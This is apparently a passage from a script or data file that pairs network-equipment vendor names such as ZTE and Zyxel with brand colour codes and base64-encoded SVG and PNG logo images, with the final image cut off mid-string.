data:image/svg+xml;base64,DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMDAiIGhlaWdodD0iMTAwMCIgdmlld0JveD0iMCAwIDE5Mi43NTYgMTkyLjc1NiI+PGcgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiPjxwYXRoIGZpbGw9IiNmZmYiIGZpbGwtb3BhY2l0eT0iMCIgZD0iTTAgMGgxOTIuNzU2djE5Mi43NTZIMFYweiIvPjxwYXRoIGQ9Ik0yMC40MTEgMTI0LjgxOGMuNzQ0LTMuMjk0IDEuMzgyLTYuNjk3IDIuNTUxLTkuODg3IDIuNTUyLTYuMTY3IDUuOTU0LTExLjA1OSAxMC4yMDgtMTYuMTYxIDIuOTc3LTIuOTc3IDUuODQ4LTUuNjM2IDkuMDM4LTguMjk0IDIuMzM4LTEuNDg3IDQuNTcyLTIuOTc3IDYuOTEtNC4zNTkgMi4zNDEtMS4yNzQgNC42OC0yLjMzOSA3LjEyNC0zLjQwMmExNTIuMDA0IDE1Mi4wMDQgMCAwIDEgNy4zMzYtMi4zMzljMS45MTUtLjMxOCAzLjgyOC0uNjM5IDUuODQ5LS43NDQtMS44MDgtLjUzMS02LjE2Ny0uOTU3LTcuMDE4LS45NTctMi40NDYgMC00LjY3OS4xMDUtNy4wMTguMzE4LTIuNTUxLjUzMy00Ljg5IDEuMDY0LTcuMzM2IDEuODA4LTMuODI1IDEuMzgyLTcuMzM1IDIuODctMTAuOTUgNC43ODQtMi4zMzkgMS4zODItNC41NzIgMi44NzItNi45MTEgNC40NjctMi4xMjggMS43LTQuMTQ2IDMuNTA4LTYuMjc0IDUuNDItMS44MDUgMS45MTYtMy42MTIgMy45MzYtNS4zMTUgNi4wNjFhODYuMzY0IDg2LjM2NCAwIDAgMC02LjI3MSA5Ljg4OGMtMS45MTUgNC41NzEtMy4wODQgOC41MDctMy44MjggMTMuMzk2bDExLjkwNS4wMDF6TTE1Mi4wMzcgMTEyLjI3MnYtMi43NjRjLjQyNi45NTYuODUyIDEuOTEzIDEuMjc1IDIuNzY0aC0xLjI3NXptMC0yMS40NzZjMi4zMzggNS4yMSA0LjQ2NyAxMC42MyA2LjkxIDE1LjczNi44NTIgMi4xMjUgMS41OTYgNC4wNCAyLjIzMiA1Ljc0LjYzOS0uMTA1IDEuNDktLjEwNSAyLjEyNy0uMTA1Ljc0NCAwIDEuNDg4LjEwNSAyLjIzMi4xMDUuNjM5LTIuMDIxIDEuMzgzLTQuMTQ2IDIuMjM0LTYuMDU5bDUuNDIyLTEyLjQ0YTE1Mi4yOCAxNTIuMjggMCAwIDEgMi45NzktNS45NTRjLS43NDQuMTA1LTEuNTk2LjIxMy0yLjQ0Ny4yMTMtLjc0NCAwLTEuNDg2LS4xMDctMi4yMzItLjIxMy0uMzE4IDEuNDg3LS44NSAyLjg3LTEuMzgzIDQuMjUxbC00Ljg5MSAxMi41NDktNS4yMDktMTIuNDRjLS42MzktMS4zODItMS4wNjQtMi44NzItMS40OS00LjM1OS0xLjE2OC4xMDUtMi4zMzguMjEzLTMuNjExLjIxMy0uOTYxIDAtMS45MTYgMC0yLjg3My0uMTA3djIuODd6bTI1LjUxOCAyMS40NzZjLjEwNS0uNjM4LjIxMy0xLjM4Mi4yMTMtMi4yMzIuMTA1LTIuNjU5LjEwNS01LjIxMS4xMDUtNy44NjcgMC0xLjgwOC0uMTA1LTMuMjk1LS4xMDUtNC4zNTgtLjEwNy0xLjA2NC0uMjEzLTIuMTI5LS4zMi0yLjk3OC43NDYuMTA1IDEuMjc1LjEwNSAxLjkxNi4yMTFoMi45NzZjLjYzOS0uMTA1IDEuMjczLS4xMDUgMS45MTItLjIxMS0uMTA1Ljg0OS0uMjEzIDEuNy0uMzE4IDIuNTUyLS4xMDcgMS40ODktLjEwNyAyLjk3Ny0uMTA3IDQuNTcxLjEwNyAxLjQ4Ny4xMDcgMi45NzcuMTA3IDQuNDY1djMuNjE1Yy4xMDUuODUxLjEwNSAxLjU5NS4zMTggMi4yMzJoLTEuNDg4Yy0uOTU1LS4xMDUtMS41OTQtLjEwNS0xLjkxNC0uMTA1LS40MjYgMC0xLjE3IDAtMi4zMzguMTA1aC0uOTU3em0uMTA1LTIzLjYwMmMwLS44NTEuMzItMS41OTUuOTU5LTIuMTI3LjUzMS0uNTMxIDEuMzc5LS44NSAyLjIzLS44NS45NTkgMCAxLjcwMy4zMTggMi4zNDIuODUuNjM1LjUzMy44NDggMS4yNzYuODQ4IDIuMTI3IDAgLjc0NC0uMzE4IDEuNDg4LS45NTcgMi4wMTktLjYzNy41MzMtMS4zODEuODUxLTIuMjMyLjg1MXMtMS42OTktLjMxOC0yLjIzLS44NTFhMi42MTIgMi42MTIgMCAwIDEtLjk2LTIuMDE5em0tMjUuNjIzLS43NDV2Mi44NzJhMzQuNDM1IDM0LjQzNSAwIDAgMC0xLjE2OC0yLjk3N2MuNDI0LjEwNS43NDIuMTA1IDEuMTY4LjEwNXptMCAyMS41ODRjLTMuMTg5LTcuMjMtNi4yNzMtMTQuNjcyLTkuMDM3LTIyLjExNS0uNzQ0IDAtMS4zODMuMTA1LTIuMDIxLjEwNS0uNjM3IDAtMS4yNzMtLjEwNS0xLjkxMi0uMTA1djcuNTQ4YzEuMTY4IDIuNDQ2IDIuMjMyIDQuOTk3IDMuMDg0IDcuNTQ5aC0zLjA4NHYyLjg3MWMxLjM4MSAwIDIuNzY0IDAgNC4xNDYuMTA1Ljc0MiAyLjIzMyAxLjU5NCA0LjU3MiAyLjM0IDYuODA1IDEuMzgzIDAgMi42NTYtLjEwNSAzLjkzNC0uMTA1Ljg1MiAwIDEuNjk5LjEwNSAyLjU1MS4xMDV2LTIuNzYzaC0uMDAxem0tMjMuMjg1LTIxLjY5di4xMDUtLjEwNXptMCAyMy45MjNsLjMxOC40MjVoLS4zMTh2LS40MjV6bTEwLjMxNC0yNC4zNDhoLS4xMDVjLTEuNTk2IDQuMTQ2LTMuNDAyIDguMjkyLTUuMjExIDEyLjQ0MS0xLjcwMSAzLjkzMy0zLjI5NyA3LjEyMi00Ljk5OCAxMC42M3YxLjE3bC4zMTguNTMyYzEuMDY0LjEwNSAyLjAyMSAwIDIuOTc5LjEwNWE3NC43MDYgNzQuNzA2IDAgMCAwIDIuNTUzLTYuODA1YzEuNDg2IDAgMi44NjktLjEwNSA0LjM1OS0uMTA1aC4xMDV2LTIuODcxaC0zLjE5MWMuOTU3LTIuNTUyIDIuMDIxLTQuOTk4IDMuMTkxLTcuNTQ5di03LjU0OHpNMTA2IDExMi4yNzJhNDYyLjczOSA0NjIuNzM5IDAgMCAwIDguODI0LTExLjM3N2wtOC4yOTEtMTMuMDc2YzEuMzgxLjEwNSAyLjY1Ni4yMTMgNC4wMzkuMjEzIDEuMzgxIDAgMi43NjQtLjEwNyA0LjE0OC0uMjEzIDEuMjczIDIuNzY0IDIuODY5IDUuMjEgNC4zNTcgNy43NjIgMS43MDEtMi40NDYgMy40LTUuMTA1IDQuODkxLTcuNzYyLjc0NC4xMDUgMS41OTYuMjEzIDIuMzM4LjIxMy44NTIgMCAxLjU5Ni0uMTA3IDIuNDQ1LS4yMTN2LjEwNWMtMi44NzEgMy4yOTctNS40MjIgNi45MTItOC4wOCAxMC40Mmw4LjA4IDEzLjM5N3YuNDI1aC0zLjkzMmMtLjMyIDAtMS40OSAwLTMuNTEyLjEwNWgtLjIxM2MtMS4yNzMtMi45NzctMi45NzUtNS42MzYtNC42NzYtOC41MDUtMS45MTIgMi43NjUtMy43MjMgNS42MzQtNS4zMTYgOC41MDUtLjk1NyAwLTEuOTE0LS4xMDUtMi44NzEtLjEwNS0uNzQzLjAwMS0xLjQ4Ny4wMDEtMi4yMzEuMTA2em0yMi43NTItMS44MDdjLS4xMDQuMjEzLS4yMTMuNDI2LS4zMTYuNjM5bC4zMTYuNTMxdi0xLjE3eiIgZmlsbD0iIzM0NjRhNiIvPjxwYXRoIGQ9Ik0xOC43MTEgNzkuMzEyYy0xLjkxNSAwLTMuOTM2LjEwNy01Ljk1Ni4xMDctMS4xNjkgNC41NzItMi4wMTkgOC4wOC0xLjkxMyAxMi44NjQuNDI2IDQuMTQ4IDEuMzgyIDcuOTc1IDQuMjU0IDExLjE2NCAxLjgwOC0yLjg2OSA0LjA0MS01LjUyOCA3LjY1My04LjkzLTEuOTEyLTUuOTU0LjQyNi0xMS4yNyAxLjkxNS0xNS4zMTEtMS45MTQuMTA2LTMuOTMyLjEwNi01Ljk1My4xMDZ6bTc3LjQwMiAzNC4zNDNIODQuMDk3YzEuODA4LTUuMzE1IDIuNjU5LTExLjA1OSAxLjcwMy0xNi42OTItNy4zMzggNi42OTctMTUuNTI1IDExLjgwMi0yNC45ODYgMTUuMDk3YTUyLjc5IDUyLjc5IDAgMCAxLTEwLjg0MyAyLjAyMWMtMi4yMzMuMTA1LTQuNDY3LjEwNS02LjgwNS0uMTA4YTE1OC41NDcgMTU4LjU0NyAwIDAgMS0zLjA4NC0uNjM2Yy00LjU3Mi0xLjI3Ny03LjU0OS0zLjA4NS0xMC44NDQtNi43LTEuMDY0IDEuNzAzLTIuMTI4IDMuNDAzLTIuOTc4IDUuMzE4IDQuMTQ3IDEuNTkzIDcuNTQ5IDEuNyAxMi4wMTQgMS40ODdhNzQuMTk0IDc0LjE5NCAwIDAgMCA3LjAxOC0uOTU3YzE1LjUyMy0yLjk3NyAyOC43MDctMTMuNzE1IDM1LjgzLTI1LjQxLTMuMDgzLTMuODI4LTcuMjMtNS44NDgtMTEuNjk0LTcuNDQzIDQuMjUzLS43NDQgMTAuODQzIDAgMTQuNzc4IDEuODA4IDIuMzM5LTQuMzU5IDMuNTA4LTguNjEzIDQuMjUyLTEzLjUwMmgxMS45MDdjLS45NTUgNy4zMzUtMy41MDYgMTMuNTAyLTcuNDQgMTkuNTYxIDIuNDQzIDMuMjk3IDMuNzIgNi4wNjIgNC42NzYgMTAuMTAzLjc0NSA1LjYzMi4xMDYgMTAuNjMyLTEuNDg4IDE2LjA1M3oiIGZpbGw9IiMzNDY0YTYiLz48L2c+PC9zdmc+DQo=' ["ZTE"]='#2C990D #E1F1D4 #CCCCCC data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjwhLS0gQ3JlYXRlZCB3aXRoIElua3NjYXBlIChodHRwOi8vd3d3Lmlua3NjYXBlLm9yZy8pIC0tPgoKPHN2ZwogICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiCiAgIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyIKICAgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIgogICB4bWxuczpzb2RpcG9kaT0iaHR0cDovL3NvZGlwb2RpLnNvdXJjZWZvcmdlLm5ldC9EVEQvc29kaXBvZGktMC5kdGQiCiAgIHhtbG5zOmlua3NjYXBlPSJodHRwOi8vd3d3Lmlua3NjYXBlLm9yZy9uYW1lc3BhY2VzL2lua3NjYXBlIgogICB3aWR0aD0iMTEyLjg4ODc2bW0iCiAgIGhlaWdodD0iNTQuNTUzNDIxbW0iCiAgIHZpZXdCb3g9IjAgMCAzOTkuOTk5NTMgMTkzLjI5OTUyIgogICBpZD0ic3ZnMiIKICAgdmVyc2lvbj0iMS4xIgogICBpbmtzY2FwZTp2ZXJzaW9uPSIwLjkxIHIxMzcyNSIKICAgc29kaXBvZGk6ZG9jbmFtZT0iWlRFX2xvZ28uc3ZnIj4KICA8ZGVmcwogICAgIGlkPSJkZWZzNCIgLz4KICA8c29kaXBvZGk6bmFtZWR2aWV3CiAgICAgaWQ9ImJhc2UiCiAgICAgcGFnZWNvbG9yPSIjZmZmZmZmIgogICAgIGJvcmRlcmNvbG9yPSIjNjY2NjY2IgogICAgIGJvcmRlcm9wYWNpdHk9IjEuMCIKICAgICBpbmtzY2FwZTpwYWdlb3BhY2l0eT0iMC4wIgogICAgIGlua3NjYXBlOnBhZ2VzaGFkb3c9IjIiCiAgICAgaW5rc2NhcGU6em9vbT0iMC4xNzUiCiAgICAgaW5rc2NhcGU6Y3g9IjkyNC45NjIxMyIKICAgICBpbmtzY2FwZTpjeT0iMTAxMy4yMjg2IgogICAgIGlua3NjYXBlOmRvY3VtZW50LXVuaXRzPSJweCIKICAgICBpbmtzY2FwZTpjdXJyZW50LWxheWVyPSJsYXllcjEiCiAgICAgc2hvd2dyaWQ9ImZhbHNlIgogICAgIGZpdC1tYXJnaW4tdG9wPSIwIgogICAgIGZpdC1tYXJnaW4tbGVmdD0iMCIKICAgICBmaXQtbWFyZ2luLXJpZ2h0PSIwIgogICAgIGZpdC1tYXJnaW4tYm90dG9tPSIwIgogICAgIGlua3NjYXBlOndpbmRvdy13aWR0aD0iMTYwMCIKICAgICBpbmtzY2FwZTp3aW5kb3ctaGVpZ2h0PSI4MzciCiAgICAgaW5rc2NhcGU6d2luZG93LXg9Ii04IgogICAgIGlua3NjYXBlOndpbmRvdy15PSItOCIKICAgICBpbmtzY2FwZTp3aW5kb3ctbWF4aW1pemVkPSIxIiAvPgogIDxtZXRhZGF0YQogICAgIGlkPSJtZXRhZGF0YTciPgogICAgPHJkZjpSREY+CiAgICAgIDxjYzpXb3JrCiAgICAgICAgIHJkZjphYm91dD0iIj4KICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD4KICAgICAgICA8ZGM6dHlwZQogICAgICAgICAgIHJkZjpyZXNvdXJjZT0iaHR0cDovL3B1cmwub3JnL2RjL2RjbWl0eXBlL1N0aWxsSW1hZ2UiIC8+CiAgICAgICAgPGRjOnRpdGxlPjwvZGM6dGl0bGU+CiAgICAgIDwvY2M6V29yaz4KICAgIDwvcmRmOlJERj4KICA8L21ldGFkYXRhPgogIDxnCiAgICAgaW5rc2NhcGU6bGFiZWw9IkViZW5lIDEiCiAgICAgaW5rc2NhcGU6Z3JvdXBtb2RlPSJsYXllciIKICAgICBpZD0ibGF5ZXIxIgogICAgIHRyYW5zZm9ybT0idHJhbnNsYXRlKDExOTguNTMzNiwtMTc5NS4zMDI5KSI+CiAgICA8cGF0aAogICAgICAgc3R5bGU9ImZpbGw6IzAwYmZmZTtmaWxsLW9wYWNpdHk6MSIKICAgICAgIGQ9Im0gLTExODcuMDMwMywxOTg4LjQxMDQgYyAtNC4xODU3LC0wLjU0MyAtOC4wMDc0LC0zLjE5MjEgLTkuOTU2OCwtNi45MDE3IC0xLjg3NzEsLTMuNTcyMiAtMi4wNTcyLC03LjkxODEgLTAuNDc1NiwtMTEuNDc1MSAwLjI4MTIsLTAuNjMyMyAxMy42NjA4LC0yMS43OTQ0IDI5LjczMjYsLTQ3LjAyNjkgMTYuMDcxNywtMjUuMjMyNiAzNS4xNTE0LC01NS4xODg3IDQyLjM5OTMsLTY2LjU2OTIgNy4yNDc5LC0xMS4zODA2IDEzLjQwMjEsLTIxLjI0MzQgMTMuNjc1OSwtMjEuOTE3NSAxLjAxMzEsLTIuNDkzOSAwLjc4NzYsLTUuNTc1MSAtMC41ODMzLC03Ljk3MTIgLTAuNzM0LC0xLjI4MyAtMi41MDg4LC0zLjAxNzkgLTMuNzE4NiwtMy42MzUxIC0yLjE3MDgsLTEuMTA3NSAtMC44OTI0LC0xLjA2NjkgLTMzLjY4NTMsLTEuMDcwOCAtMzMuOTQ3NSwwIC0zMS45MzA3LDAuMDgxIC0zNS4xMTQ3LC0xLjQ4ODIgLTUuNTczOCwtMi43NDc3IC04LjUzMDksLTkuNDkzMyAtNi43NzczLC0xNS40NjAzIDAuOTgwOSwtMy4zMzc2IDMuNzY0MiwtNi42OTk0IDYuNzcwMiwtOC4xNzczIDMuMTI1MywtMS41MzY1IC0xLjY1MTQsLTEuNDI0NiA1OC4yNSwtMS4zNjQ0IGwgNTMuODgzMSwwLjA1NCAxLjM1ODYsMC40NjQ3IGMgNC4wNTA0LDEuMzg1NiA3LjM2MjgsNC43Mzc3IDguNjI4Myw4LjczMTYgMC4zNzE4LDEuMTczNiAwLjQ2MzUsMS45NTkzIDAuNDYzMiwzLjk3MTIgLTVlLTQsMi43MzkzIC0wLjQxMjMsNC40NyAtMS41MTcsNi4zNzQ4IC0wLjMsMC41MTczIC0xOS41NDI1LDMwLjc1NTYgLTQyLjc2MTEsNjcuMTk2MiAtMjMuMjE4NiwzNi40NDA2IC00Mi4zOTgsNjYuNjY3NSAtNDIuNjIwOCw2Ny4xNzA3IC0wLjUyNjEsMS4xODg0IC0wLjcwNjcsMy44MDI5IC0wLjM2NDQsNS4yNzM4IDAuNjUxNSwyLjc5ODkgMi41NzE1LDUuMTcwNiA1LjIwMzEsNi40Mjc0IGwgMS41OTIyLDAuNzYwNCAzNC41OTA5LDAuMTA3OSBjIDM4LjY1MDQsMC4xMjA3IDM1LjM4NDQsLTAuMDE2IDM4LjY2NjYsMS42MTUxIDIuMDc1NSwxLjAzMTIgNC40MDE3LDMuMzI3MSA1LjQ5NjYsNS40MjQ5IDMuMjM1NCw2LjE5OSAxLjQwMjksMTMuNTM3OSAtNC4zMzkyLDE3LjM3ODUgLTEuNzcsMS4xODM5IC0zLjUxMzMsMS44MjQ1IC01Ljc1NTYsMi4xMTUxIC0xLjkzMjYsMC4yNTA1IC0xMTEuMTA3NiwwLjI0MTggLTExMy4wNDA5LC0wLjAxIHogbSAyODUuNzIzNTYsLTAuMDg3IGMgLTEuNzA5MjEsLTAuMzExOCAtNC4xNjkxNSwtMS4zOTkzIC01LjU0OTMyLC0yLjQ1MzEgLTEuNDE4NjUsLTEuMDgzMiAtMy4wMTE3MSwtMy4wMzA0IC0zLjgwMTcsLTQuNjQ2OCAtMS40NzYzMSwtMy4wMjA4IC0xLjM1ODIsNS4xNDI5IC0xLjI5ODk5LC04OS43ODY3IGwgMC4wNTM1LC04NS43ODggMC41NzAzNiwtMS41NjI5IGMgMC43MTA3NiwtMS45NDc1IDIuMTU1NzIsLTQuMDg2OSAzLjY4OTcyLC01LjQ2MjkgMS40MDkwMSwtMS4yNjQgNC40NDgzMiwtMi43ODg0IDYuMTc2NDksLTMuMDk4IDAuODUwNTQsLTAuMTUyMyAxNS40MDE0NiwtMC4yMjIxIDQ2LjMxNDIsLTAuMjIyMSA0NC4yMDMxMSwwIDQ1LjEwNTIxLDAuMDEgNDYuNjg4MzksMC40MTI5IDIuNDQ1NzgsMC42MjU1IDMuOTUzOTgsMS41MTk1IDUuOTg4NTgsMy41NSAxLjM2OTMyLDEuMzY2NiAxLjk2NjI3LDIuMTUyMSAyLjU0NzYyLDMuMzUyNCAxLjUzNzk3LDMuMTc1MiAxLjc4NjI1LDYuODYxOSAwLjY4MzQsMTAuMTQ3MyAtMC43MDIsMi4wOTEyIC0xLjM2OTU3LDMuMjA3OSAtMi44ODgyMSw0LjgzMTMgLTEuNTgwODgsMS42OSAtMy4zNjgxNSwyLjg1NzEgLTUuNDc1MjksMy41NzU1IGwgLTEuNjcyMDcsMC41NzAxIC0zMS4wMzc3NywwLjEwNjYgYyAtMjkuMzk5MjgsMC4xMDA5IC0zMS4wOTg0NCwwLjEyNjggLTMyLjE4NzMxLDAuNDkwNCAtNC42MTQ2NiwxLjU0MSAtOC4yNTU2OSw1LjM2OTggLTkuMjkzNTksOS43NzI4IC0wLjQ2NjY5LDEuOTc5OCAtMC40Njk5MSwzNC4xMTc0IC0wLjAwNCwzNi4wOTUzIDEuMTIwMDgsNC43NTExIDQuOTg1MDIsOC42MjYyIDkuODQyNjEsOS44Njg2IDEuNTU5MzksMC4zOTg4IDIuNDIwNDIsMC40MTIzIDI2LjYwNjg5LDAuNDE1OCAyNy45MjY0NywwIDI2LjUzOTM0LC0wLjA2NiAyOS42OTA5NiwxLjQ4ODIgMy4xNzg4MSwxLjU2NyA1Ljc1ODczLDQuNjc2NiA2LjgyNTcsOC4yMjcxIDAuNjA0NzYsMi4wMTIzIDAuNTE1MDYsNS41OTY1IC0wLjE5MzU1LDcuNzMzMyAtMS4yODkyNiwzLjg4NzggLTQuNTgzMiw3LjE4ODkgLTguNTA2MTYsOC41MjQ1IGwgLTEuMzU4NTYsMC40NjI2IC0yNi4xMjYwNiwwLjEwNDYgLTI2LjEyNjA3LDAuMTA0NiAtMS44MDEyLDAuNjQ0OSBjIC0zLjUzMDkyLDEuMjY0MSAtNi4xOTY0OSwzLjU2NzQgLTcuNzE5NzcsNi42NzA0IC0xLjUwODkxLDMuMDczOSAtMS40NTE5OCwyLjI0OTggLTEuNDUxOTgsMjEuMDE1OSAwLDE1Ljk3ODIgMC4wMjEsMTYuOTM0MyAwLjQwNDM1LDE4LjQzMzMgMS4yMTcwMSw0Ljc1ODUgNC43NTIwMiw4LjI3OTYgOS43MzI1Niw5LjY5NDUgMS4xNTg3MywwLjMyOTEgMy40NzgyLDAuMzUyMiAzMC41MTUyNSwwLjMwMzEgMjAuODkxODcsLTAuMDM4IDI5Ljc5MzU2LDAuMDE1IDMxLjEyMjQ2LDAuMTg0MyA1LjgzMjE3LDAuNzQzNiAxMC4zNTA1OCw0Ljg3IDExLjUwMDAyLDEwLjUwMjMgMC40MTQ0NSwyLjAzMDkgMC40MTQ4NywzLjMxOTYgMC4wMDIsNS4zMTk4IC0wLjk4NzQ0LDQuNzgwNiAtNC4yNjg5NSw4LjQ2MzYgLTguOTU3NDEsMTAuMDUzNCBsIC0xLjY4ODQ2LDAuNTcyNSAtNDUuMTQ1ODQsMC4wMzUgYyAtMzYuODEyOTIsMC4wMjkgLTQ1LjQyNzUsLTAuMDE2IC00Ni42NzE4NCwtMC4yNDMxIHogbSAtODguNDUyMTgsLTAuMDQxIGMgLTEuMTQ0NzQsLTAuMTkxNCAtMy4zMTEyLC0wLjk4NzMgLTQuNTk4MTksLTEuNjg5MyAtMS43OTI1OCwtMC45Nzc5IC00LjcwNTcsLTMuODg4MyAtNS42OTU4OSwtNS42OTA3IC0wLjQxMDUsLTAuNzQ3MiAtMC45NjYzLC0yLjAxNjkgLTEuMjM1MiwtMi44MjE2IGwgLTAuNDg4NywtMS40NjMgLTAuMTA4NSwtNzEuNzk0NSBjIC0wLjA5OSwtNjUuMzU0MyAtMC4xMzg3LC03MS44OTEyIC0wLjQ0NjQsLTcyLjg3MzIgLTEuNDg5OCwtNC43NTQ1IC00LjM4MjQsLTcuODI4OSAtOC44NTI1LC05LjQwODUgbCAtMS42NzAxLC0wLjU5MDIgLTE0LjIxMjUsLTAuMTEzMSBjIC0xMy4wMDIsLTAuMTAzNiAtMTQuMzEwNSwtMC4xNDU2IC0xNS4zNjIyLC0wLjQ5MzggLTQuNzE1LC0xLjU2MSAtOC4xNzEsLTUuMjY4MiAtOS4yMDI2LC05Ljg3MTMgLTAuMzIzMSwtMS40NDE5IC0wLjI2NDksLTQuNzg2NCAwLjEwODgsLTYuMjQyNCAxLjA3NDEsLTQuMTg2IDQuMjAzNCwtNy41OTUzIDguNDY2OCwtOS4yMjQ0IGwgMS41Njc2LC0wLjU5OSA1My42MTA2NiwtMC4wNiBjIDM3LjgyMDk1LC0wLjA0MiA1NC4wMTA4MSwwLjAxIDU0Ljk2OTI0LDAuMTY3MiAxLjgyOTQ4LDAuMzA1MyA0LjgyMDUxLDEuNzg1NSA2LjMxMjc1LDMuMTIzOSAxLjU2ODE1LDEuNDA2NSAzLjA5OTUxLDMuNzI5NiAzLjczMjI5LDUuNjYxOCAwLjQzOTY3LDEuMzQyNiAwLjUwOTM1LDEuOTQ1OCAwLjUwNTk5LDQuMzc4NyAtMC4wMDMsMi40MTQ5IC0wLjA3MzgsMy4wMTc0IC0wLjQ4ODY1LDQuMTgwMiAtMS4zOTgyNiwzLjkxODcgLTQuNjE3NDgsNy4wNjc4IC04LjU5OTMyLDguNDEyIC0xLjMzMDQ0LDAuNDQ5MSAtMS42NTI2NywwLjQ2MTEgLTE1LjU3MTEzLDAuNTc3OSAtMTUuODE3NjQsMC4xMzI4IC0xNC45NDE4NiwwLjA1MyAtMTcuOTU5NjEsMS42MzA1IC0yLjk5NDQ4LDEuNTY1MiAtNS40MzI1Nyw0LjU0IC02LjYyNjgsOC4wODU4IC0wLjIzMzExLDAuNjkyMSAtMC4zMDAwMSwxMy4xOTg2IC0wLjM4ODU3LDcyLjYzMDUgLTAuMTAxNTMsNjguMTQ2OSAtMC4xMjU5NSw3MS44NTgxIC0wLjQ4MDM0LDczLjA0ODUgLTEuNjI0MTksNS40NTU0IC01LjYxNTIsOS40NjI2IC0xMC43MjYwNSwxMC43Njk4IC0xLjUyMzksMC4zODk3IC00Ljk4NjQ4LDAuNTMxMSAtNi41NjA4OCwwLjI2NzggeiIKICAgICAgIGlkPSJwYXRoMzcyMiIKICAgICAgIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIC8+CiAgPC9nPgo8L3N2Zz4K' ["Zyxel"]='#2A3A86 #5B5B5B #696969 data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAx8AAAEHCAYAAADPvvt6AAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAABmJLR0QA/wD/AP+gvaeTAAAAB3RJTUUH6AcWEQkVUGpx+QAAPVpJREFUeNrt3Xt8XVWZN/Dfs/dJ0gu9cKlIaUvbJE0LgmiBzrwzOuCII5WrTk9zoaW5EC6KOiNecEY5+o43RryBhaY5SSltEk4QhSro+GrrZXS4F7SlTc5JoSml3EnvTc5ez/tHK4PKpUmTs9de+/f9fOYzjgPZe6317LXWc/ZeawFERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERDRixNWCzapbPZPNS4M1LrG79+GmKwZYEzRU05e0Tiz2io9xsWxBcbA7d+vi5yI1FjS2HYe8jo9yvXdN634SqZQp1PVOuTpz1MD+gbfxaXbfgCDYkq55Koxrl9ff8V6FHu/cxNoLuruX16xndL2xhIuFqqhrnxwIcmxeGiSzP3H0BABMPmjIivwxpxmYX7lYNhnwckilZhVyInwkZi9pn54P8ABEJkW30pFGKtVQyEse2B98HOJ9hU9zDCaBigcBnBXKgAtzmwDTXatTVe9jAJh8vAnPxULlIe9k09IQuoxNG5Ymd7Me6Eh0pxf+WoDHHS1e6cxt5R+Mwo1W1N09Lp+QewBEN/GA/rqkz7+68AmPnMknOSajnuD+MK5bVpuZ5GLiAQBG5AFGVgyTD/HA5IOGEjkPsw5oWAYfxc2uls1X/6PW32Qq5QWydxVUT43spBC6ub9YL97QmewP4epn8SmOy7CnoSQfkjDzHK3RA96o8Y8zsOKYfKhh8kGDjxsmHzRco88ufxWAl1wsm0LPm7lkdbnN91jWW/FVABdGuJpfUs+7cOstNS8XvO4aVk0BMJlPcTyYfDjJhxrj6tu19dmb5h9gZMUw+VCV09m0NFiBGiYfNCy2dSb3QaXV1Tzd971GaxOP+o4FAD4T4fodMECyZ3llVyiNiwTfesTHSz0rqrMhdSNOxpnwk6t4Jh9TFmRGQ1DOpqVBMkUY+xirgYYtmZXgJgCBi2VToH5y45ox1iUetR3vBnQFIryToyg+3pOu+kVobevuL9L01x4AREOIMgHgZJwpDJOPOCYfxRPNOwD4bFoapM2bWy7axWqg4bIlXfMUFPc5WryjxwS7K226oTmNt58AT+8GMCbC9frt7paqW0NOf/jmIy7CWmzeeMdMAMe6WKVGPCYfcUw+PMP1HjQk/OSKhp9vbna3cHKNLXcyfUnrqIEg8SMAUyJcoT/N7vQ/HeodpFIeBGfwwY0HE9Kv9GKMowmuvNKzfGE3IyuGyQe4zS4NhSqTDxp22eXV/wXFJkcfmtPLGjr+xoL7kIQ/Ko2QzioYpjJsNL5fic5kqJ/plT118mwA4/nkxmPUS3jhrE9QdXUrZw3pMzYmH+GnHsDpbFYa9IPgcacrGpEeScXDLQ4n7aFvu1tW13EdgOoI1+KL8L0Le5qSfaFHqwT85Co+erqaql8I6dpOxplqOJ+xMfkIv+lFIe9gs9IgGTFj1rMaaEQ6WTOmFcBOR4uXnNHQdnxYFy+t6zgPgi9HuP76YfQj2abKnB0jKA8XjJFQJspnp9Ym4OiPxCL6IMMqhslHRUPndEAnsllpcCMuurjYnEbKwdiSVY4Wr9hX1IVx4fKGjjki2o5obzDSkG2t/pVF9zOPT2w8SEiLzbf17jgVwFgX6zQQcLF5HJOPvOa53oOG8BRwvQeN+EB/MwBHvwWWKw/9mlkwsxffdqyqrgEwIbrVhq9m01W323I705e0jgKieyI8DXamHE7yIVBXP+17aktz9bMMrBgmH6JcbE5DoFzvQSOru7nyCQF+6WjxpvX2PnN+oS42t3FZUb6oqBNAaWS7HOCu7JTNX7DpnhJeybsAFPNpjYV+PWrC+nCGW0c/7ROu94hv8uGByQcNoc/wmHzQiDPQmx1+iAq28PwVM/57gJwT4dp6dGz/wGKkUsaqJhSPi83jY332pvkHQoo0Vxebc71HXJMPVe50RYOfE+r+gfWsBhppuZ2JNQC2OJl7qPzjrMa22SN9ndL6jo+J4srIjlHAM2pw0eO3L95j3b0JTzaPCxEJ5Vf60xatHAvVOW5Opnm4YCyTj7KaVeMBTGeT0uAmA9qdXX3pTtYEjbi